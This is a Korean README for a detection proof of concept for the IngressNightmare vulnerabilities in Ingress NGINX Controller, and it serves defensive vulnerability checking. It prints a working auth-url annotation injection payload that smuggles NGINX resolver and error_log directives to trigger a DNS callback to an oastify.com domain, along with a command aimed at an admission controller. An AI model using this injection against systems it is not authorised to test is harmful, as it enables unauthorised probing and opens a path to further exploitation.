IngressNightmare 탐지 도구

개요

이 도구는 Ingress NGINX Controller에 영향을 미치는 IngressNightmare 취약점 체인(CVE-2025-1974)에 대한 비침습적 탐지 기능을 제공합니다. 특히 auth-url 주석 삽입 벡터(CVE-2025-24514)를 활용하여 임의 코드 실행 없이 이 중요 취약점의 존재를 확인합니다.

기술 배경

IngressNightmare 취약점 체인은 공격자가 다양한 Ingress 주석 필드를 통해 임의의 NGINX 설정 지시어를 주입할 수 있도록 합니다. 이러한 악성 Ingress 리소스가 승인 컨트롤러에 의해 처리되면, NGINX 설정 유효성 검사 단계(nginx -t)에서 주입된 지시어가 평가됩니다.

이 PoC는 특히 auth-url 주석 취약점을 악용하여 error_log 지시어를 공격자가 제어하는 도메인을 가리키는 syslog 서버와 함께 주입합니다. 설정 유효성 검사 중 NGINX는 다음을 수행합니다:

주입된 설정을 파싱
지정된 도메인을 DNS를 통해 해석

이 DNS 해석 활동은 코드 실행이나 서비스 중단 없이 대상이 취약함을 신뢰할 수 있는 신호로 제공합니다.

사용법

Burp Collaborator, interactsh 또는 모든 DNS 모니터링 서비스를 사용하여 DNS 콜백 리스너를 설정합니다.

탐지 도구를 실행합니다:

$ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com

취약한 경우, DNS 콜백 도메인에 대한 DNS 해석 시도가 관찰됩니다:

poc

탐지 방법론

이 도구는 다음 주입 페이로드를 포함하는 Ingress 리소스가 포함된 특별히 구성된 AdmissionReview 객체를 생성합니다:

nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"

이 페이로드는:

주석 문자(#)를 사용하여 URL을 종료
개행 후 resolver 지시어를 주입
DNS 콜백 도메인을 가리키는 syslog와 함께 error_log 지시어를 추가
나머지를 주석 처리하여 구문적 유효성 유지

취약한 승인 컨트롤러에 의해 처리되면, 이는 취약점의 존재를 확인하는 아웃바운드 DNS 조회를 발생시킵니다.

제한 사항

이 도구는 취약점의 존재만 탐지하며, 임의 코드 실행을 위한 악용을 시도하지 않습니다.

크레딧

https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities

ingressnightmare-detection-poc

인기